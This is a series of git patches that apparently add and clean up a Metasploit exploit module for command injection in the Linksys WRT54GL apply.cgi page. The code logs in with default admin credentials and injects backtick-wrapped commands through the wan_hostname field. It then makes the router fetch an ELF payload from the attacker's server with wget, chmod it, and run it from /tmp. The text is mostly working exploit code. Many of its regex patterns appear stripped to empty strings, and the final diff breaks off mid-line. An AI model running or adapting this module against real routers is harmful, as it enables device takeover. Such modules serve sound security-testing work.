From f07117fe7dba29a76520eeef1d06240243f0056a Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Thu, 4 Apr 2013 17:30:36 +0200 Subject: [PATCH 01/13] replacement of wrt54gl auxiliary module - initial commit --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 637 ++++++++++++++++++ 1 file changed, 637 insertions(+) create mode 100644 modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb new file mode 100644 index 0000000000..7dd40ee81f --- /dev/null +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -0,0 +1,637 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT54GL apply.cgi Command Execution', + 'Description' => %q{ + Some Linksys Routers are vulnerable to an authenticated OS command injection. + Default credentials for the web interface are admin/admin or admin/password. Since + it is a blind os command injection vulnerability, there is no output for the + executed command when using the cmd generic payload. A ping command against a + controlled system could be used for testing purposes. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'BID', '57459' ], + [ 'EDB', '24202' ], + [ 'OSVDB', '89912' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ] + ], + 'DisclosureDate' => 'Jan 18 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Linux mipsel Payload', + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 1, + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), + OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), + OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + OptString.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration, (default: yes)', 'yes' ]), + OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]), + ], self.class) + end + + def grab_config(user,pass) + + print_status("#{rhost}:#{rport} - Trying to download the original configuration") + begin + res = send_request_cgi({ + 'uri' => '/index.asp', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + if res.nil? or res.code == 404 + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + if [200, 301, 302].include?(res.code) + if res.body =~ /lan_ipaddr_0/ + print_good("#{rhost}:#{rport} - Successful downloaded the configuration") + else + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible") + end + else + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + + if res.body =~ // + if $1.nil? + @now_proto_orig = "" + else + @now_proto_orig = $1 + end + + if @now_proto_orig !~ /dhcp/ + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - We do not know if this module works with your configuration -> possible we overwrite your config and break this device!") + end + end + if res.body =~ // + if $1.nil? + @daylight_time_orig = "" + else + @daylight_time_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @lan_ipaddr_orig = "" + else + @lan_ipaddr_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wait_time_orig = "" + else + @wait_time_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @need_reboot_orig = "" + else + @need_reboot_orig = $1 + end + end + if res.body =~ /var\ wan_proto\ =\ \'(.*)\'\;/ + if $1.nil? + @wan_proto_orig = "" + else + @wan_proto_orig = $1 + end + end + if res.body =~ /onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>/ + if $1.nil? + @lan_ipaddr_0_orig = "" + else + @lan_ipaddr_0_orig = $1 + end + end + if res.body =~ /\/ + if $1.nil? + @lan_ipaddr_1_orig = "" + else + @lan_ipaddr_1_orig = $1 + end + end + if res.body =~ /\/ + if $1.nil? + @lan_ipaddr_2_orig = "" + else + @lan_ipaddr_2_orig = $1 + end + end + if res.body =~ /<\/TD>/ + if $1.nil? + @lan_ipaddr_3_orig = "" + else + @lan_ipaddr_3_orig = $1 + end + end + if res.body =~ /name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>/ + if $1.nil? + @router_name_orig = "" + else + @router_name_orig = $1 + end + end + if res.body =~ /name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>/ + if $1.nil? + @wan_domain_orig = "" + else + @wan_domain_orig = $1 + end + end + if res.body =~ /<\/FONT><\/TD>/ + if $1.nil? + @wan_hostname_orig = "" + else + @wan_hostname_orig = $1 + end + end + if res.body =~ /<\/TD>/ + if $1.nil? + @wan_mtu_orig = "" + else + @wan_mtu_orig = $1 + if @wan_mtu_orig.to_i > 1500 + @mtu_enable = "0" + end + end + end + if res.body =~ /<\/SCRIPT>/ + if $1.nil? + @ui_language_orig = "" + else + @ui_language_orig = $1 + end + end + if res.body =~ /<\/TD>/ + if $1.nil? + @dhcp_num_orig = "" + else + @dhcp_num_orig = $1 + end + end + if res.body =~ /Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">/ + if $1.nil? + @dhcp_start_orig = "" + else + @dhcp_start_orig = $1 + end + end + if res.body =~ /value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>/ + if $1.nil? + @netmask_orig = "" + else + @netmask_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns_orig = "" + else + @wan_dns_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_0_orig = "" + else + @wan_dns0_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_1_orig = "" + else + @wan_dns0_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_2_orig = "" + else + @wan_dns0_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_3_orig = "" + else + @wan_dns0_3_orig = $1 + end + end + + if res.body =~ // + if $1.nil? + @wan_dns1_0_orig = "" + else + @wan_dns1_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns1_1_orig = "" + else + @wan_dns1_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns1_2_orig = "" + else + @wan_dns1_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns1_3_orig = "" + else + @wan_dns1_3_orig = $1 + end + end + + if res.body =~ // + if $1.nil? + @wan_dns2_0_orig = "" + else + @wan_dns2_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns2_1_orig = "" + else + @wan_dns2_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns2_2_orig = "" + else + @wan_dns2_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns2_3_orig = "" + else + @wan_dns2_3_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_orig = "" + else + @wan_wins_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_0_orig = "" + else + @wan_wins_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_1_orig = "" + else + @wan_wins_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_2_orig = "" + else + @wan_wins_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_3_orig = "" + else + @wan_wins_3_orig = $1 + end + end + end + + def restore_conf(user,pass,uri) + + #we have used most parts of the original configuraion + #just need to restore pppoe_username + cmd = @wan_hostname_orig.to_s + print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration") + + ##WARNING: restore of wan_hostname_orig not working!!! + + res = request(cmd,user,pass,uri) + + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") + end + #the device needs around 30 seconds to apply our current configuration + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + end + + def request(cmd,user,pass,uri) + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user,pass), + 'encode_params' => false, + 'vars_post' => { + 'submit_button' => "index", + 'change_action' => "1", + 'submit_type' => "1", + 'action' => "Apply", + 'now_proto' => @now_proto_orig.to_s, #Todo: check if the injection also works with other settings + 'daylight_time' => @daylight_time_orig.to_s, + 'lan_ipaddr' => @lan_ipaddr_orig.to_s, + 'wait_time' => @wait_time_orig.to_s, + 'need_reboot' => @need_reboot_orig.to_s, + 'ui_language' => @ui_language_orig, + 'wan_proto' => @wan_proto_orig.to_s, + 'router_name' => @router_name_orig.to_s, + 'wan_hostname' => cmd, + 'wan_domain' => @wan_domain_orig.to_s, + 'mtu_enable' => @mtu_enable.to_s, + 'wan_mtu' => @wan_mtu_orig.to_s, + 'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s, + 'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s, + 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, + 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, + 'lan_netmask' => "255.255.255.#{@netmask_orig}", + 'lan_proto' => @lan_proto_manual.to_s, #we have to configure this + 'dhcp_check' => "1", + 'dhcp_start' => @dhcp_start_orig.to_s, + 'dhcp_num' => @dhcp_num_orig.to_s, + 'dhcp_lease' => @dhcp_lease_orig.to_s, + 'wan_dns' => @wan_dns_orig.to_s, + 'wan_dns0_0' => @wan_dns0_0_orig.to_s, + 'wan_dns0_1' => @wan_dns0_1_orig.to_s, + 'wan_dns0_2' => @wan_dns0_2_orig.to_s, + 'wan_dns0_3' => @wan_dns0_3_orig.to_s, + 'wan_dns1_0' => @wan_dns1_0_orig.to_s, + 'wan_dns1_1' => @wan_dns1_1_orig.to_s, + 'wan_dns1_2' => @wan_dns1_2_orig.to_s, + 'wan_dns1_3' => @wan_dns1_3_orig.to_s, + 'wan_dns2_0' => @wan_dns2_0_orig.to_s, + 'wan_dns2_1' => @wan_dns2_1_orig.to_s, + 'wan_dns2_2' => @wan_dns2_2_orig.to_s, + 'wan_dns2_3' => @wan_dns2_3_orig.to_s, + 'wan_wins' => @wan_wins_orig.to_s, + 'wan_wins_0' => @wan_wins_0_orig.to_s, + 'wan_wins_1' => @wan_wins_1_orig.to_s, + 'wan_wins_2' => @wan_wins_2_orig.to_s, + 'wan_wins_3' => @wan_wins_3_orig.to_s, + 'time_zone' => "-08+1+1", #default is ok + '_daylight_time' => '1' #default is ok + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return nil + end + + end + + def exploit + downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) + uri = '/apply.cgi' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + rhost = datastore['RHOST'] + rport = datastore['RPORT'] + restore = datastore['RESTORE_CONF'] + @timeout = 10 + @lan_proto_manual = datastore['LAN_PROTO'] + + # + # testing Login + # + print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + if res.nil? or res.code == 404 + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + if [200, 301, 302].include?(res.code) + print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + + + grab_config(user,pass) + + if target.name =~ /CMD/ + if not (datastore['CMD']) + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + cmd = payload.encoded + #cmd = Rex::Text.uri_encode(payload.encoded) + cmd = "`#{cmd}`" + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + restore_conf(user,pass,uri) + else + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") + if restore == "yes" + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + restore_conf(user,pass,uri) + end + + end + return + end + + #thx to Juan for his awesome work on the mipsel elf support + @pl = generate_payload_exe + @elf_sent = false + + # + # start our server + # + resource_uri = '/' + downfile + + if (datastore['DOWNHOST']) + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri + else + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + #we use SRVHOST as download IP for the coming wget command. + #SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + end + + # + # download payload + # + print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") + #this filename is used to store the payload on the device + filename = rand_text_alpha_lower(8) + + #not working if we send all command together -> lets take three requests + cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" + cmd = "`#{cmd}`" + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + + # wait for payload download + if (datastore['DOWNHOST']) + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") + select(nil, nil, nil, datastore['HTTP_DELAY']) + else + wait_linux_payload + end + register_file_for_cleanup("/tmp/#{filename}") + + # + # chmod + # + cmd = "chmod 777 /tmp/#{filename}" + cmd = "`#{cmd}`" + print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + + # + # execute + # + cmd = "/tmp/#{filename}" + cmd = "`#{cmd}`" + print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + + # + #reload original configuration + # + if restore == "yes" + restore_conf(user,pass,uri) + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + # wait for the data to be sent + def wait_linux_payload + print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") + + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + end + end + end + +end From 67f0b1b6ee7cf1774cbf31b0cc606497ab5974b3 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Thu, 4 Apr 2013 17:33:46 +0200 Subject: [PATCH 02/13] little cleanump --- modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 7dd40ee81f..0230a4ebe1 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -494,7 +494,6 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded - #cmd = Rex::Text.uri_encode(payload.encoded) cmd = "`#{cmd}`" res = request(cmd,user,pass,uri) if (!res) From 96b444c79edbaeaca4e8c8324cb932df140f32fc Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Thu, 4 Apr 2013 17:40:53 +0200 Subject: [PATCH 03/13] ManualRanking --- modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 0230a4ebe1..1e624b4e1d 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer From 9a2f409974b8f770f518aec09abea1aab9986c2b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 6 Apr 2013 01:05:09 +0200 Subject: [PATCH 04/13] first cleanup for linksys_wrt54gl_apply_exec --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 337 +++--------------- 1 file changed, 59 insertions(+), 278 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 1e624b4e1d..bbd16f4225 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -70,13 +70,20 @@ class Metasploit3 < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), - OptString.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration, (default: yes)', 'yes' ]), + OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]), OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]), ], self.class) end - def grab_config(user,pass) + def get_config(config, pattern) + if config =~ /#{pattern}/ + return $1 + end + return "" + end + + def grab_config(user,pass) print_status("#{rhost}:#{rport} - Trying to download the original configuration") begin res = send_request_cgi({ @@ -100,290 +107,64 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end - if res.body =~ // - if $1.nil? - @now_proto_orig = "" - else - @now_proto_orig = $1 - end - - if @now_proto_orig !~ /dhcp/ - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - We do not know if this module works with your configuration -> possible we overwrite your config and break this device!") - end + @now_proto_orig = get_config(res.body, "") + if @now_proto_orig !~ /dhcp/ + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") end - if res.body =~ // - if $1.nil? - @daylight_time_orig = "" - else - @daylight_time_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @lan_ipaddr_orig = "" - else - @lan_ipaddr_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wait_time_orig = "" - else - @wait_time_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @need_reboot_orig = "" - else - @need_reboot_orig = $1 - end - end - if res.body =~ /var\ wan_proto\ =\ \'(.*)\'\;/ - if $1.nil? - @wan_proto_orig = "" - else - @wan_proto_orig = $1 - end - end - if res.body =~ /onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>/ - if $1.nil? - @lan_ipaddr_0_orig = "" - else - @lan_ipaddr_0_orig = $1 - end - end - if res.body =~ /\/ - if $1.nil? - @lan_ipaddr_1_orig = "" - else - @lan_ipaddr_1_orig = $1 - end - end - if res.body =~ /\/ - if $1.nil? - @lan_ipaddr_2_orig = "" - else - @lan_ipaddr_2_orig = $1 - end - end - if res.body =~ /<\/TD>/ - if $1.nil? - @lan_ipaddr_3_orig = "" - else - @lan_ipaddr_3_orig = $1 - end - end - if res.body =~ /name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>/ - if $1.nil? - @router_name_orig = "" - else - @router_name_orig = $1 - end - end - if res.body =~ /name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>/ - if $1.nil? - @wan_domain_orig = "" - else - @wan_domain_orig = $1 - end - end - if res.body =~ /<\/FONT><\/TD>/ - if $1.nil? - @wan_hostname_orig = "" - else - @wan_hostname_orig = $1 - end - end - if res.body =~ /<\/TD>/ - if $1.nil? - @wan_mtu_orig = "" - else - @wan_mtu_orig = $1 - if @wan_mtu_orig.to_i > 1500 - @mtu_enable = "0" - end - end - end - if res.body =~ /<\/SCRIPT>/ - if $1.nil? - @ui_language_orig = "" - else - @ui_language_orig = $1 - end - end - if res.body =~ /<\/TD>/ - if $1.nil? - @dhcp_num_orig = "" - else - @dhcp_num_orig = $1 - end - end - if res.body =~ /Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">/ - if $1.nil? - @dhcp_start_orig = "" - else - @dhcp_start_orig = $1 - end - end - if res.body =~ /value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>/ - if $1.nil? - @netmask_orig = "" - else - @netmask_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns_orig = "" - else - @wan_dns_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns0_0_orig = "" - else - @wan_dns0_0_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns0_1_orig = "" - else - @wan_dns0_1_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns0_2_orig = "" - else - @wan_dns0_2_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns0_3_orig = "" - else - @wan_dns0_3_orig = $1 - end - end - - if res.body =~ // - if $1.nil? - @wan_dns1_0_orig = "" - else - @wan_dns1_0_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns1_1_orig = "" - else - @wan_dns1_1_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns1_2_orig = "" - else - @wan_dns1_2_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns1_3_orig = "" - else - @wan_dns1_3_orig = $1 - end - end - - if res.body =~ // - if $1.nil? - @wan_dns2_0_orig = "" - else - @wan_dns2_0_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns2_1_orig = "" - else - @wan_dns2_1_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns2_2_orig = "" - else - @wan_dns2_2_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_dns2_3_orig = "" - else - @wan_dns2_3_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_wins_orig = "" - else - @wan_wins_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_wins_0_orig = "" - else - @wan_wins_0_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_wins_1_orig = "" - else - @wan_wins_1_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_wins_2_orig = "" - else - @wan_wins_2_orig = $1 - end - end - if res.body =~ // - if $1.nil? - @wan_wins_3_orig = "" - else - @wan_wins_3_orig = $1 - end + @daylight_time_orig = get_config(res.body, "") + @lan_ipaddr_orig = get_config(res.body, "") + @wait_time_orig = get_config(res.body, "") + @need_reboot_orig = get_config(res.body, "") + @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;") + @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>") + @lan_ipaddr_1_orig = get_config(res.body, "\") + @lan_ipaddr_2_orig = get_config(res.body, "\") + @lan_ipaddr_3_orig = get_config(res.body, "<\/TD>") + @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>") + @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>") + @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") + @wan_mtu_orig = get_config(res.body, "<\/TD>") + if @wan_mtu_orig.to_i > 1500 + @mtu_enable = "0" end + @ui_language_orig = "<\/SCRIPT>" + @dhcp_lease_orig = "<\/TD>" + @dhcp_start_orig = "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">" + @netmask_orig = "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>" + @wan_dns_orig = "" + @wan_dns0_0_orig = "" + @wan_dns0_1_orig = "" + @wan_dns0_2_orig = "" + @wan_dns0_3_orig = "" + @wan_dns1_0_orig = "" + @wan_dns1_1_orig = "" + @wan_dns1_2_orig = "" + @wan_dns1_3_orig = "" + @wan_dns2_0_orig = "" + @wan_dns2_1_orig = "" + @wan_dns2_2_orig = "" + @wan_dns2_3_orig = "" + @wan_wins_orig = "" + @wan_wins_0_orig = "" + @wan_wins_1_orig = "" + @wan_wins_2_orig = "" + @wan_wins_3_orig = "" end def restore_conf(user,pass,uri) - - #we have used most parts of the original configuraion - #just need to restore pppoe_username + # we have used most parts of the original configuration + # just need to restore pppoe_username cmd = @wan_hostname_orig.to_s print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration") - ##WARNING: restore of wan_hostname_orig not working!!! - + # WARNING: restore of wan_hostname_orig not working!!! res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") end + #the device needs around 30 seconds to apply our current configuration print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) @@ -401,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote 'change_action' => "1", 'submit_type' => "1", 'action' => "Apply", - 'now_proto' => @now_proto_orig.to_s, #Todo: check if the injection also works with other settings + 'now_proto' => @now_proto_orig.to_s, 'daylight_time' => @daylight_time_orig.to_s, 'lan_ipaddr' => @lan_ipaddr_orig.to_s, 'wait_time' => @wait_time_orig.to_s, @@ -418,7 +199,7 @@ class Metasploit3 < Msf::Exploit::Remote 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, 'lan_netmask' => "255.255.255.#{@netmask_orig}", - 'lan_proto' => @lan_proto_manual.to_s, #we have to configure this + 'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO'] 'dhcp_check' => "1", 'dhcp_start' => @dhcp_start_orig.to_s, 'dhcp_num' => @dhcp_num_orig.to_s, @@ -498,10 +279,10 @@ class Metasploit3 < Msf::Exploit::Remote res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - restore_conf(user,pass,uri) + restore_conf(user,pass,uri) if restore else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - if restore == "yes" + if restore print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) restore_conf(user,pass,uri) @@ -602,7 +383,7 @@ class Metasploit3 < Msf::Exploit::Remote # #reload original configuration # - if restore == 